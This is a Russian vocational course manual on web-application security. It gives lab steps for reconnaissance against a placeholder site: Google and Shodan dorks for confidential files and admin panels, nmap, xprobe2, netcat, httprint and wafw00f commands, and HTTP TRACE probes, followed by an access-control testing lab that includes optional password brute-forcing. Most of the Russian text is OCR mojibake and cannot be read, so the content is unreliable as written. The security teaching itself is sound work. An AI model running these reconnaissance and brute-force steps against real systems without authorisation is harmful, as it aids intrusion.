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Metoauueckue yKa3zaHUS MO BBIMOJIHEHHUIO MPAKTUUECKUX W JTAOOPATOPHBIX paboT pazpaboTaHb
Ha OCHOBe pabouedi mnporpammbl ydeOHOW muctuiuMHBIIIM.09. IlpoexktupoBanue, pa3paboTka u
ONTUMM3ALIHS] BEO-TIPUITIOKEHU .

CopmepxaHue MPaKTHYECKUX U JIAOOpPATOpHBIX pabOT OPHEHTUPOBAHO HA MOJTOTOBKY
o0Oyyaronmxcss K OCBOCHHIO MPOQPECCHOHAIBHOIO MOJYJIS MPOrpaMMbl MOJITOTOBKU CIEIUAIHUCTOB

cpenHero 3BeHa 1o crneruanbHocTH 09.02.07 MHpOpManMOHHBIE CHCTEMBI W MPOTPAMMUPOBAHUE H
OBJIAJICHUIO OOIIMMH KOMITETEHIUSIMHU.

Mertoandeckne yka3aHusl 1O BBIIOJHEHUIO MPAKTUYECKUX U Ja0OpaTOpHBIX paboT pa3paboTaHbI
Ha OcCHOBe paOoueii mporpammbel [IM.09. IlpoekTupoBaHue, pa3pabOTKa M ONTHMH3ANUS BeO-
npunokeruit (ouHo) MJIK 09.03 O6ecnieueHre 6€30MacHOCTH BEO-TIPUITOKCHHUHA.

CoznepxaHue MPakTUYECKUX U J1a0OpaTOPHBIX PabOT OPUEHTUPOBAHO Ha (OpMUpPOBaHUE OOLIMX U
npo(ecCHOHANBHBIX  KOMIIETEHIIMI 10 IporpaMMe MOATOTOBKU —CIIELMAINCTOB CPEHEro 3BEHa II0
crietmanbHocTy 09.02.07 MHpOpMalnOHHBIE CUCTEMBI M TIPOTPAMMHUPOBAHUE.
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1 HOACHUTEJIBHASA 3AIIMCKA

CocraB U cozep)kaHHE NMPAKTHUECKUX M JIAOOPATOPHBIX 3aHATHI HANpPABICHbI HAa pPEaU3aLUIo
@enepanbHOTO TOCYAapPCTBEHHOIO 00pa30BaTENBbHOIO CTaHAApTa CpenHero MpodecCHOHAIBHOTO
oOpa3oBaHMUs.

Benymelt aunakTUyecKol LIENbI0 MPAKTUYECKUX U JIA0OpATOPHBIX 3aHATUN  SIBJSETCS
¢dopmupoBanre MPO(HECCHOHATBHBIX TMPAKTHUYECKUX YMEHHH (YMEHHI BBITIOJNHATH ONpEACICHHBIC
JCWCTBUS, OIEpalnu, HEOOXOOUMBIE B MOCIEIYIOmEM B MPO()ECCHOHATBLHOUW NESITEIBbHOCTH) WIN
Y4eOHBIX MPAKTHYECKHMX YyMEHWH (YyMEHHMH pemiath 3aJadd [0 MareMaTuke, (U3MKe, XHMUH,
nH(OPMATHKE U Jp.), HEOOXOIUMBIX B TIOCTIEAYIONICH YIeOHOM IS TSIIEHOCTH.

B coorBerctBuM ¢ pabouell nporpammoi yueOHoil aucuumiauasl [IM.09. IlpoextupoBanue,
pa3paboTka u omrumm3arms BeO-npmwioxkennid (ouHo) MK 09.03 OoGecrieuenne Oe3omacHOCTH BeO-
MPWIOKEHUHIIPETYCMOTPEHO TPOBEJICHUE MPAKTUUECKUX U JabopaTOpHBIX 3aHiATHH. B pamkax
MPaKTUYECKOTO U J1TAaOOPAaTOPHOIo 3aHATHsSI OOy4aroIIMecss MOTYT BBIIOJHSATH OJIHY HJIM HECKOJIBKO
MPaKTUYECKUX U J1a00paTOPHBIX paloT.

B pe3ynbrare ux BHIIOJHEHUS, 00ydaromuics JOIKEH:
ymemon:
VY35, oCymeCTBIATh ayIUT OE30MaCHOCTH BEO-TIPUITOKEHUH;
VY36. MmogudummupoBaTh BEO-TIPIIIOKEHHUE C IENBI0 BHEAPEHHUS MPOrPaMMHOTO KOJIa TI0 00ecriedeHI 0
6e301macHOCTH ero paboTHI;
Y01.2 ananu3upoBarh 3aja4y W/ Wi MPoOJIeMy U BbIICIATh €€ COCTaBHbIC YaCTH;
Y02.4 cTpyKTypupOBaTh MOJIy4aeMyr0 HH)OPMAIIUIO;
VY03.2 npuMeHsTh COBPEMEHHYIO HAYYHYIO TPOPECCHOHATEHYIO TEPMHUHOIIOTHIO;
Y09.1 npuMeHsTh cpeacTBa HHGOPMAIIMOHHBIX TEXHOJIOTHH I PeleHHs MPodeCCHOHAIBHBIX 3a7ay;
Y 09.2 ucnons30BaTh COBPEMEHHOE ITPOTPaMMHOE 00eCIICUCHHUE;
Y10.1 moHMMaTh OOIINH CMBICT YETKO MMPON3HECEHHBIX BHICKA3bIBAHUM HA U3BECTHBIC TEMBI (PO eCCHOHATLHBIC
1 OBITOBEIE);

ConeprxaHne IPaKTUYECKUX W JIA0OPATOPHBIX padOT OPHUEHTUPOBAHO HA TMOJITOTOBKY OO0YYaIOIIHXCS
K OCBOGHHUIO MPO(PECCHOHATLHOTO MOJYJSI MPOrpaMMbl IMOJTOTOBKU CIELHMAIUCTOB CpPEJHEro 3BEHa I10
CMELMATBHOCTH U OBJIJICHUIO HPOGheccuonanbHbIMU KOMHEMEeHYUAMU:

ITIK 9.8 OcymiecTBiaTh ayauT 0€30MacHOCTH BEO-TIPUIIOKEHUS B COOTBETCTBUH C PETJIAMEHTAMHM

1o 0e30macHOCTH
A Taxxe GOPMUPOBAHUIO 0OUUX KOMNEMEHYUIL:

OK 1. BsiOupath crocoObl pemieHus 3a1a4 npopecCHOHATbHON NeATeTbHOCTH, TPUMEHUTEIBHO
K pa3jIM4HbIM KOHTEKCTaM

OK 2. OcymiecTBasTh MOWUCK, aHAIM3 W HMHTEPIPETAIMI0 HHPOPMAIMK, HEOOXOIUMOW IS
BBITIOJIHEHUS 3a71a4 TPO(HeCCHOHATLHOM NesITeIbHOCTH.

OK 3 IlnanupoBaTh ¥ pealu30BbIBaTh COOCTBEHHOE MPO(ECCHOHATBFHOE U JIMYHOCTHOE
pa3BUTHE.

OK 4 IlnanupoBaTh H pealu30BbIBaTh COOCTBEHHOE MPO(ECCHOHATBLHOE U JMYHOCTHOE
pa3BUTHE.

OK 5 IlnanupoBaTh H pealu30BbIBaTh COOCTBEHHOE MPO(ECCHOHATBLHOE U JMYHOCTHOE
pa3BUTHE.

OK 6 IlposBisATh TIpaKJaHCKO-NATPUOTUUYECKYIO TO3UIMI0, JEMOHCTPUPOBATH OCO3HAHHOE
MOBE/ICHHE HA OCHOBE TPAJUIIMOHHBIX O0IIEYEIOBEYECKHIX [IEHHOCTEH

OK 7 CopnelicTBOBaTh COXpPaHEHUIO OKpY’KalOIIeH cpeibl, pecypcocOepexeHnto, 3ppekTuBHO
JIEMCTBOBATh B UPE3BBIYANHBIX CUTYAIUSX.

OK 8 Hcnonb3oBaTh cpeacTBa (DU3MUYECKOW KyIbTyphl HJS COXPAHEHUS W YKpEIIeHUs
3JI0pOBbsI B IIpolrecce Npo(ecCHOHAIBHOM NesITeNbHOCTH W TMOIJIEpXKaHUS HEOOXOJUMOIo YpOBHS
(u3MYECKOI MOArOTOBIEHHOCTH

OK 9 Hcnonb3oBaTh HHPOPMAIIMOHHBIE TEXHOIOTHH B MPO(ECCHOHATBEHOM 1A TEIHHOCTH.
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OK 10 ITonp3oBatbess  mpoeCCHOHANBHOW — JOKYMEHTAllMe Ha  TOCyJapCTBEHHOM U
HHOCTPAaHHOM A3BIKC



2[IEPEYEHB ITIPAKTUYECKHNX 3AHATHAN

MJIK 09.03 OBECHIEYEHUE FEE30ITACHOCTU BEB-ITPMJIOXKEHHUIA

Pa3genbl/TeMbl TeMbl NpaKTHYECKUX/Ta00PATOPHBIX KosmmyectBo | TpedoBanus
3aHATHH 4acoB ®oI'oC C11o
(ymern)
Pa3nen 3. ObGecneuenne 6e301aCHOCTH BeO-TPHJIOKEHUMH 71
Tema 3.1 ITP.P.Ne 1 C6op uHpopManuu o web- 6 Y35, V36,
Texnonoruu MIPUI0XKEHUNA vV01.2,Y01.9,
obOecrieueHust TP 1T T v02.4,Y03.2,
o
530HACHOCTH BEG - .P.Ne 1 TecTupoBaHue 3alIUIIEHHOCTH vY07.2, Y09.1,
TpUTOKeH MeXaHu3Ma YIPaBIEHHS JOCTYIIOM U v09.2, V10.1,
ceccusaMu ¥10.6
JI.P.Ne 2 TectupoBaHue Ha yCTOMYMBOCTD K 16
aTakaM OTKa3a B 00CIIy)KUBaHUU
JI.P.Ne3 Tlouck ys3BuMocTel K aTakaM XSS 16
JI.P.Ne4 Tlownck ys3BUMOCTeH K atrakam SQL- 17
injection
UTOTI'O 71




3METOAUYECKHUE YKA3ZAHUS
MJIK 09.03 OBECIIEYEHHME BE30ITACHOCTU BEB-TTPUJIOXKEHMIA
Tema 3.1 Texnonorun obecneueHus: 0€30MaCHOCTH BEO — MPHUIIOKECHUN

[MpakTHyeckoe 3ansaTHe Ne 1
«Coop uHpopmanuu o Web-npuio:keHun»

ean padoTsl
Lenbro mabopatopHOii paboTHI sBIIsIETCsl 00yUeHHe METoJaM U cpeicTBaM cOopa nHpopMmaru 00

AHATM3UPYEMOM BEO-TIPUIIOKECHHH.

Boinosinus padorty, Bel Oyaere:
ymembv:

V35. ocymiecTBIATh ayUT 0€30MacHOCTH BEO-TIPUIIOKEHUI;

VY01.2 ananu3upoBaTh 33149y W/ WK TPOOJIEMY U BBIJIEIAThH €€ COCTaBHBIC YaCTH;

¥02.4 cTpykTypHupoBaTh MOITYYaeMyt0 HH(OPMALHUIO;

VY03.2 npuMeHsITh COBPEMEHHYIO HayuHYI0 MPOGECCHOHATBHYIO TEPMUHOJIOTHIO;

¥09.1 mpumensTh cpeacTBa HHGOPMAITMOHHBIX TEXHOJIOTHH I pelieHus TPO(PEeCCHOHATBHBIX
3a/1a4;

¥ 09.2 ucnonp30BaTh COBPEMEHHOE MMPOTPAMMHOE 00ecIIeueHue;

MarepuajibHoe o0ecnieyeHue:

[TK,TexcToBbIil penaktop biokHOT,Opay3ep

3aganue:

BrimonauTs c60p nHbOpMaIuy 00 aHATM3UPyeMOM BeO- MpuiIokeHnn WWW.test.app.com.

Kparkue TeopeTnueckne cBeeHHs

OHUM U3 MEPBBIX 3TAOB aHAJIM3a 3al[UIEHHOCTU 000 KOMITBIOTEPHOIN CHCTEMBI SIBISCTCS
cOop mHpopManuu. B 3aBUCHMOCTH OT HUCIOJIB3YEeMON METOOJIOTHH aHajlu3a 3allUIICHHOCTH BeO-
MPUJIOXKEHHUST MOTYT TMPHUMEHATHCS Pa3lIM4HbIe METOJbl W cpelncTBa cOopa wuHpopmanuu. CToUT
OTMETHTh, 4TO cOOp wuH(poOpMamM, Kak TPaBUIO, HE XapakTepeH Ui  METOJOJOTHH
WHCTPYMEHTAJILHOTO aHAJIN3a 3allUIICHHOCTH (CKaHUPOBAHMs), a XapakTepeH Ui METOJO0JOTHU
TECTUPOBAHUS HA BO3MOXXHOCTh TPOHUKHOBEHHUSI.

Mertonbl cOopa HHGOPMALIUK ACIATCS HAa aKTUBHBIC M MTACCUBHBIC. AKTHBHBIE METOJIbI TPEOYIOT

HETIOCPCACTBCHHOT' O B3aUMOJCHUCTBUS C HCCICAYCMBIM IIPUIIOKCHUEM ITYTCM OTIIPABKHU €MY 3aIllpOCOB


http://www.test.app.com/

M aHaJM3a COOTBETCTBYIOIIMX OTBETOB, a IIaCCHBHBIE METOABl HCIONB3YIOT HH(OPMAIIHIO,
OTIIPABISIEMYIO CEPBEpOM BeO-TpuiIokeHus: ero kinueHtam (Hanpumep, HTTP-zaromoku X-Frame-
Options, Strict-Transport- Security u T.1.) 6e3 oTnpaBku 3ampocoB. [Ipu aHann3e BeO- MPUIIOKEHUIA,
KaK MPaBHJIIO, UCTIOJIb3YIOTCS TOJIBKO aKTUBHBIEMETO/IBI.

AKTUBHBIE METOIBI JIENATCS HA METOAbl C TOAKIIOYCHHEM K TPWIOKEHUIO (Hampumep,
uneHTu(UKaImsa BeO-cepBepa ¢ moMompio ckanepa Httprint) u MeToabl 6e3 moakiroueHus (HarpuMep,
cOop MHPOPMALIUHU O TPUIIOKEHUH TOMCKOBBIMH poO0TaMu, ckanepamu VIHTEpHET, UT.1.).

B pesynbrare npoBeaeHus coOopa HHPOPMAIUHU O BEO-TIPHIIOKEHUHA MOTYT OBITh ITOJTYYCHBI:

O nMeHa u [P-agpeca ceTeBbIX y3710B, Ha KOTOPBIX pa3MelleHbl BEO- MPUIOKEHUE U
€rOKOMIIOHEHTHI;

O JIOTUHBI U TIAPOJIA TEXHOJIOTMUYECKUX YUETHBIX3AIHNCEN;

0l KOMMEHTapuupa3paboTuHKOB;

O JaHHbIE O cUCTEMHOM U npukiagHoM [10, npuMeHsieMbIX cpeacTBax 3aluThl U

KOH(HUTYypaIruuBeO-TIPHIIOKEHNS,

0l ajipeca 3JeKTPOHHOM MOYTHI pa3pabOTUYMKOBIPUIIOKEHUS;
0 UCXOJHBIN KOJ CEpBEPHOMN YaCTUBEO-TIPUIIOKECHHS,;
0l KOH(UIeHIIMATbHbIEPANIIBI.

[TporpaMMHBIME CpeICTBAMHU TOTYUYCHUST HEOOXOMMON HH(DOPMAITUH SBIISIOTCS:

0 MOMCKOBBIE cucTeMbl (Hanmpumep, Google, Shodan,Bing);

0 CTCMAIM3UPOBAHHBIC CKAaHEPHI ysI3BUMOCTer MHTepHeT (Hampu-
mep,http://unlcOrn.net/);

0 WHCTPYMEHTAIIbHBIC CPE/ICTBA aHAJIK3a 3AIUIIEHHOCTH CETel 00Ie- T0 Ha3HAUCHHUSI
(Nmap, Xprobe2,XSpider);

0 WHCTPYMEHTAIILHBIC CPE/ICTBA aHAJIM3a 3aIUIIEHHOCTH CETeH BeO- MPHIIOKCHUN

(AppScan, Acunetix, BurpSuite, ZAP, W3AF ur.1.).

IHopsaok BbINOJHEHUS PA0OTHI

bynem paccmatpuBath c60p mHbOpMauu Ha MpuUMepe BeO- MPUTIOKEHUS C YCIOBHBIM UMEHEM
www.test.app.com.

[ar 1. B anpecHoii cTpoke Opay3epa mepeiTu mo aapecy

www.test.app.com/robots.txt. IIpoananusupoBath conmepkumoe Qaitna. Crenatbh BBIBOABI O
HaJIMYUH «CKPBITHIX» AUPEKTOPHUH.

[ar 2. B aZpecHOMN CTpPOKE Opaysepa MIEPEUTH o anpecy
http://www.test.app.com/crossdomain.xml u, 3aTeM, o an-

pecyhttp://www.test.app.com/clientaccesspolicy.xml.  TIpoanammu3upoBaTh  copepxuMoe  (aiioB.
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Cnenath BBIBOJBI O KOPPEKTHOCTU KOH(MUTYpAIMH MOJMTUKA MEXKIOMEHHOrO B3amMozeicTBus RIA
[3]
[Mlar 3. TIlepeiitu mo azapecy http://www.google.com. 3amaTh TOHUCKOBBIC 3ampOCH,

OIpelensieMble aHAIU3UPYEMbBIM ITPUIIOKEHUEM, HAIIPUMED:

0 site:www.test.app.com filetype:docxconfidential

0 site:www.test.app.com filetype:docsecret

0 site:www.test.app.cominurl:admin

0 site:www.test.app.comfiletype:sql

0 site:www.test.app.com intext: "Accessdenied" TIpoananu3upoBaTh JOTUKY 3aIPOCOB U

MoJTy4eHHbIe TaHHbIe. [10- CTpOUTH CBOM 3ampOChl, HCTIONB3YS MPUMEPHI U3 06a3bl 3anIpocoB[4].
lar 4. Tlepeiitu no aapecy http://www.shodanhg.com. 3aaaTh cieayromuii MOUCKOBBIH 3apoc:
N hostname:www.test.app.com
[Toctpoute cBoM 3ampochl sl TpuiaoxkeHus Www.test.app.com. Illar 5. [aHHbIlli TecT
BBITIOJIHSAETCS TOJIBKO JUTSl IPUIIOKEHUH, pa3-
MEIIeHHBIX B J1abopaTopHOM ceTH. C MOMOIIbIO CeTeBhIX ckaHepoB Nmap u Xprobe BBINOIHUTH

unentuduxanuo OC BeO-cepBepa:

# nmap —Owww.test.app.com-vv # xprobe2 www.test.app.com

[ar 6. ITogkmounThCs K BEO-cepBepy, HCTONB3Ys yTUIUTY Netcat:

# ncwww.test.app.com 80

Otnpasutk cnenyromuii GET 3anpoc

GET /HTTP/1.1
Host: www.test.app.com
\r\n

ITo 3aronoBkam Server u X-Powered-Byomnpezaenuts nporpaMmMHoe 0OecCIieueHUEe, peatn3yolee
BeO-cepBep U PpIUMBOPK BeO- MPUIIOKECHHUS.

B Opaysepe ycraHoButh pacummpenue Wappalyzer, nepeiitu mo aapecy BeO-TIPUIOXKEHUS U
MPOaHAIN3UPOBATh HH(OPMALIHIO O KOMIIOHEHTAX BEO-NIPHIIOKEHU MorydeHHoe uepe3 Wappalyzer.

Hlar 7. C nomomipto ckaHepa BeO-cepBepoB Httprint (nuctpubytus Backtrack) nmm Httprecon

(OC Windows) BBIOTHUTH UACHTUDHUKAIHMIO BeO-cepBepa:


http://www.google.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.shodanhq.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/

# cd /pentest/enumeration/web/httprint/linux

# ./nttprint —h www.test.app.com —s signatures.txt

C momorsto ckanepa WafwO00f mpoBepuTh Hanmuune y BeO- mpuiiokeHus nojacucremsl WAF:

# cd /pentest/web/waffit
# python ./wafwOOf.py http://www.test.app.com # python
JwafwOOf.pyhttps://www.test.app.com

[lar 8. BpIMOAHUTH TECThl MO HJEHTHUPUKAIUHU THojaepkuBaeMblx BeO-cepepom HTTP-
MeTo0B. [ aToro Heob6xoauMo oTmpaBUTh ¢ omoIbio BurpSuite mim Netcat 3anpoc crieayromniero

BUJAa:

OPTIONS/HTTP/1.1
Host: www.test.app.com
\r\n

IIpoBeputs, moaaepKUBAET JIU cEpBEP 00PaOOTKY 3aPOCOB C IPOU3BOJIILHBIMU METO/IAMHU:

DOGS/HTTP/1.1
Host: www.test.app.com
\r\n

Ecmu BeG-cepBep noguepxuBaetr Metos TRACE, To 3T0 MOXKET MPUBECTH K YSI3BUMOCTH K aTake
Cross-SiteTracing (XST). Jlnsa npoBepku noanaepxku Bed-cepepoM MeToibl TRACE oTmpaBuTh

3anpoc

TRACE /HTTP/1.1
Host: www.test.app.com
\r\n

Be6-cepBep nopnepxxuBaetr metoa TRACE u noTeHnuanbHo ysi3BuM k atake XST, ecnu

TMOJIYUCH OTBCTA BUA

HTTP/1.1 200 OK

10


http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/

Connection: close Content-Length: 39 TRACE /
HTTP/1.1

Host: www.test.app.com

Bonpocs! n 3axanns

1. Haiitu agmuHucTpaTuBHBIE HHTEpP(dENCH KOMMYHUKAIlUOHHOIO U  CETEBOIO
obopynoBanusi (Buaeokamepsl, kommytaropbl JIBC, mo- mamuuneWi-Fi mapmpytusaropsl, u T.1.),
MOJIKJIIOUEHHBbIE K ceTu MH- TepHerT.

2. N3BectHO, uTo anpec BeO-unTepdeiica cuctemsl VMWareHorizonView HTML Access
conepkuT CcTpoky portal/webclient/views/mainULhtml. Haiitu Takue cucTemsbl, IOCTymHBIE U3
cetullHTEpHET.

3. Ouenuts konuuectBo koMmMmyTatopoB CiscoCatalyst ¢ agMuHH- CTpPAaTHBHBIM BEO-

uHTepdeiicom, MOAKIIOUEHHBIM K ceTuHTepHeT.

®opma npeacraBiaeHus pe3yabTara:
[IpenocTaBUTH CKpUNT 3aJlaHUM

Kpurtepun ouenku:

Omnenka "5" craBUTCS: BCsl pab0oTa BBITOJIHEHA 0€301ITHO0YHO M HET UCTIPABIICHU;
Orenka "4" ctaBUTCS: JOMYIIEHBI 1-2 BBRIYNCIUTEIBHBIC OIIHOKH.

Ornenka "3" cTaBUTCSA: TOMYIIECHBI OMUOKK B XOJIE PEIICHUS 3a/1a4Ml TIPHU MPABHUJILHOM BBITTOJTHECHUH
BCEX OCTAJBHBIX 3aJIaHUA WM JOMYIIEHBl 3-4 BBIYMCIUTEIbHBIC OIIMOKH, MPH TOM XOJ aHau3a

JOJIZKCH OBITE BCPHBIM.

Onenka "2" craBHUTCS: JOMYyIICHBI OMMOKM B XOJ€ PEHICHUS 3aJaud M XOTsS Obl OjHa
BBIYUCIIMTENIbHAS OIIMOKA WJIM TPU aHAIW3€ M MPUMEPOB JIOMYIICHO Oojiee 5 BBIYUCIUTEIBHBIX

OIINOOK.
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MJIK 09.03 OBECIIEYEHHME BE30ITACHOCTH BEB-TTPUJIOXKEHMIA
Tema 3.1 Texnomorun obecneueHus: 0€30MaCHOCTH BEO — MPHUIIOKESHUN

JlabopaTropHoe 3ansaTHe Ne 1
«TecTupoBaHue 3aLUIIEHHOCTH MEXaHNU3MA YIIPABJIEHHS TOCTYIIOM H CECCHSIMU

Hean padoTsl
Lenbro mabopaTtopHOii paboTHI siBIIsIETCSl 00yUeHHe METOJaM U CpeacTBaM coopa HHPOpMauu 0o

AHATM3UPYEMOM BEO-TIPUIIOKECHHH.

Boinosinus padorty, Bel Oyaere:
ymembv:

V35, ocymiecTBISTh ayJUT 0€30MacHOCTH BEO-TIPUIIOKEHUI;

Y01.2 ananu3upoBaTh 3aa4y W/ WK IPOOJIEMY U BBIJEIATH €€ COCTaBHBIC YaCTH;

¥02.4 cTpykTypHpoBaTh MOIy4aeMyto HH(pOpMaIKIO;

VY03.2 npuMeHsITh COBPEMEHHYIO Hay4HYI0 MPOGECCHOHATbHYIO TEPMUHOJIOTHIO;

Y09.1 mpumeHsTh cpeacTBa HHGOPMAIIMOHHBIX TEXHOJIOTUH IS pEIIeHHs TPO(eCCHOHATBHBIX
3a/1a4;

¥ 09.2 ucnonp30BaTh COBPEMEHHOE MPOTPAMMHOE 00ecIIeueHuE;

MarepuajibHoe o0ecrnieueHue:

[TK,TexcToBbIil penaktop biokHOT,O0pay3ep

3aganue:

1. BBINOJHHUTH  TECTUPOBAHWE  3AIMUIIEHHOCTH  MEXaHW3Ma  YIOPABJICHUS  JIOCTYIIOM
HCCIIEAYEMOT0 BEO-TIPUIIOKEHHUS.

2. BBITIOHUTH TECTHPOBAHKE 3AIIUIIICHHOCTH MEXaHU3Ma YITPABJICHHUS CECCUSIMHU UCCIIEAYEMOT0

BEO-TIPHITOKEHUS.

Kparkue TeopeTnueckue cBe1eHHs
O/HUM U3 OCHOBHBIX MEXaHH3MOB 3alllUThl COBPEMECHHBIX BEO- MPUIOKCHUHN SIBISETCS MEXaHU3M
yrpasiieHus: 10cTynoM. OOBIYHO BBIACISIOT CICIYFOIIUE 3TAlbl YIPABICHHS JOCTyIoM [8]:
— WJACHTU(HKAINS — YCTAHOBJICHUE UJCHTU(DUKAIIMOHHBIX IAHHBIX;
— ayTeHTH(UKALUSA — MOITBEPKJACHHOE YCTAaHOBJICHUE HIICHTU(DUKA- ITMOHHBIX TAHHBIX;

— aBTOpU3alHd — HA3HAYCHUC IIpaB I/II[eHTI/Iq)HKaI_II/IOHHBIM)IaHHLIM.
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[Tpu Bxone B BeO-mipuioxkenue (signin, login) momp3oBarens uneHTUGUIUpPYeTCs (COOOIIaeT CBOM
UACHTU(PHUKATOP) U ayTeHTU(UIMpYETCs (AOKa3bIBae€T, YTO OH HMMEHHO TOT IIOJb30BaTENb, Yel
UACHTUPHUKATOP OBLIT COOOIIEH).

BonbmuHCTBO BEO-TPUIIOKEHUH HCIIONB3YIOT Ay TeHTU(UKAIMIO TI0 apoiito. B BeO-npuiioskeHusx ¢
BBICOKMM yYpPOBHEM 3alIMIIEHHOCTH (Hampumep, B IHTepHET-0aHKaX) TaKkKe MPUMEHSIOTCS TPOTOKOJIBI
IBYX(pakTopHO# ayreHTHHKau. OUeBUAHBIM HETOCTATKOM ayTEHTH()HUKALUHU TI0 MAPOJIO SBISETCS
BO3MOKHOCTh HCIIOJIb30BAHUSI TTAPOJICH € TUIOXUMH CTaTUCTHYECKHIMH XapaKTEePUCTHKAMH. XpaHEHHE
nmapoJyii WM ero Iepenada IO KaHajlaM CBSI3M B OTKPBHITOM WJIM JaXe 3amu(ppoBaHHOM BHUEC
MOTEHINAIIFHO HECET YIPO3Yy PACKPBITHS ITAPOJISL.

Tem He MeHee, COBpeMEHHbBIE 3alIUIICHHBIC BEO-TIPHIIIOKEHNS B OOJBIIMHCTBE CIy9YaeB HCIOIB3YIOT
nepeaaydy mnapoiisg B 3aiudpoBaHHOM BUJIE C TTOMOIIBIO TTPOTOKOJIOB ceMerictBa SSL/TLS, a xpanenue
mapoJisi B XCIIUPOBAaHHOM BHJE. [Ipu 3TOM Uil XpaHeHHs Maposiell TOoJIbh30BaTeNeld peKOMEHIyeTCs
UCIOJIb30BaTh HE Kpunrorpaduyeckue X3uI-QyHKIMH oOuiero HazHaueHus (Hampumep, SHA wumu
MD5), a cneuuanuszupoBansublie (ynkunu PBKDF2, berypt, scrypt m 1.m. Takke st XpaHeHHs
napoJieii HeoOXOIMMO HCIIONB30BaTh «COJbY, MPEAHA3HAYCHHYIO ISl 3aTPYAHCHUS MIPOBEACHUS aTaK
0 CJIOBapsIM U Pay KHBIM TaOJIHIIaM.

ABTopu3ansi B BeO-TIPHIIOKEHHMSIX MOXET OBITh OINpe/eieHa Kak MpoIecC IMPOBEPKH TOTO,
paspelleH WK 3alpelieH 3alpoc Ha MOJyUYeHMs JOCTyIa IM0JIb30BaTells K PECypCy B COOTBETCTBUM C
3aIaHHOM TIOJIMTHKON Oe3omacHocTd. Kak mpaBmiio, B BEO-NPUIIOKECHHSAX PEANTH3YeTCsl poJieBast
(RBAC) unu atpubytHas (ABAC) monuTrka JOTHYECKOT0 YIIpaBiIeHUs JOCTYIIOM.

OnHUM U3 METOOB TECTUPOBAHUS BO3MOXKHOCTH MOIYYEHHUS NMPHUBMUIIETUI JPYroro mojb30BaTelis
apisieTcss auddepeHnnanbuplii ananu3. Ero uaes 3akmrouaercs B WACHTU(GHUKALMM BCEX BO3MOXKHBIX
3anpocoB M cooTBeTcTBYONMX UM URL, KOTOpBIE MOXET BBINOJHUTH JAHHBIM [10JIb30BaTEb. 3aTEM
BCE MOJIY4YEHHBIE 3aIIPOCHI BHIIOJIHAIOTCS OT UMEHHU APYroro MOJIb30BaTENs BEO-TIPHIIOKEHUS.

MexaHu3M aBTOpHM3allMd PEKOMEH/AYETCsS Ppealn30BbIBATh HA YPOBHAX IpPEACTaBIEHUs, Ou3Hec-
JIOTUKU W JIaHHBIX BEO-IPUJIOKEHHSA. YPOBEHb MPEICTABICHUS — HE OTOOpakaeT (yHKIIMOHAI
(Harmpumep, (opMbl, PpeiimMbl, CChUIKU, KHOIIKM), HA KOTOPBIH 10JIb30BaTeNb HE UMEET MpaB JIOCTYIIA.
VYpoBeHb OU3HEC-TIOTUKU OOECIEYMBAET BBHINOJHEHHE MPOBEPKU HAIUYMs COOTBETCTBYIOLIUX IIPaB
JOCTyHa JI0 BBINOJHEHUS 3ampoca B BEO-NPUJIOKEHHUH, T.e. HUKAakue (YHKLUU HE MOTYT ObITh
BBIMOJIHEHBl JIO aBTOpHM3allMu (HalpUMep, €ClIM I0Jb30BaTENb OTIPABIISET 3alpoc Ha YIaJeHHE
YUETHOM 3amucH, TO BEO-TPUIOKEHHE AOJDKHO YOeAWThCS, YTO MOJb30BaTENb HMEET IpaBO Ha
yJlaJleHue YYETHOM 3aliCH U HE BBIMOIHATh HUKAKUX (PYHKIUI 10 TOro, Kak 3T0 OyJeT YCTaHOBJIEHO).
VYpoBeHb JaHHBIX OOEcleuYrMBaeT MPOBEPKY HAJIWYMs IpaB JOCTyNa MOJb30BaTeNs K JaHHBIM, a He

TOJIBKO K (PyHKIIMOHATy 00pabOTKH JaHHBIX (HarpuMep, Nojab30BaTenb, ucnonb3ys URL Buaa
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/delete?record=1, momKeH ynaiATh TOJBKO TE 3aMUCH B 0a3e NaHHBIX, HA KOTOPbIE OH UMEET IPaBo

noctynaDELETE).

IHocnenoBaTeIbHOCTH 1eCTBUI

Hlar 1. Hactpouts paboty Opay3epa uepe3 IITaTHBIN MpokcH- cepep BurpSuite. B Be6-Opaysepe

OTKPBITh TIABHYIO CTPAHMILY T€- CTUPYEMOTO BeO-TIpriIoskeHus WWw.test.app.com.

[Har 2. 3apeructpupoBaThcsi B BeO-nipriioxkeHuu. [lomyunts uaen-
TU(GUKATOP YYETHOW 3alUCH W Tapoiib JIOCTyma K BeO-mpuiiokeHuto. [IpoananusupoBaTth
MIPe/ICKa3yeMOCTh UJIEHTU(PUKATOPOB MOJIb30BaTe- JIEH M, €CIM 3TO BO3MOXHO, aJITOPUTM Ha3HAuUEHUS
uneHtudukatopos. IIpoaHanu3upoBaTh peaan30BaHHYIO B BEO-NPUIOKEHUU MAPOJIbHYIO MOJIUTHKY.
OueHuTh JOCTYIHYIO CJIOKHOCTh BbIOOpa Maposieil moib3o- BaTensMU. OMNIMOHAIBHO BBIIOJHUTH
aTaxy IOJIHOTO Iiepedopa mapo- jei.

Mlar 3. IlepeiiTn mo ccbulke s ayTeHTHPHUKAUUU B mnpuioxeHuu. [Ipm sTom Heobxoaumo
yoenuThcs, uTo opMa ayTeHTU(DHUKAIIMK J0- CTymHa ToJibko 1o mpotokosy HTTPS. Y6eautsces, uro
BBOJIUMBIE IOJIb30BATEIEM JIOTUH M IMapoJib OTIPABISIIOTCS B 3alIM(PPOBAHHOM BHJE MO MPOTOKOIY
HTTPS. Y6enutscs, 4To JOTHH U TIApOJIb HE OT- npasisitorcs ¢ momorisio HTTP-merona GET.

Har 4. [IpoBeputh, YTO B BEO-IPUIIOKEHUN HU3MEHEHBI CTaHAAPT- HbI€ MapOJId JJIi BCTPOCHHBIX
yY4eTHBIX 3anuceil. [[poBepuTh, 4TO HO- BbI€ YUETHBIE 3AMKMCH CO3/IAI0TCS C PAa3IMYHBIMU NAPOJISIMHU.

[ar 5. ITpoBepuTh BO3MOKHOCTh HACHTU(PUKAIIUN TTOJIB30BATENICH BEO-PUIIOKEHHS depe3 HOpMbI
pErucTpanyu, BXoJaa U BOCCTAHOBJIIE- HUS ApOJIs.

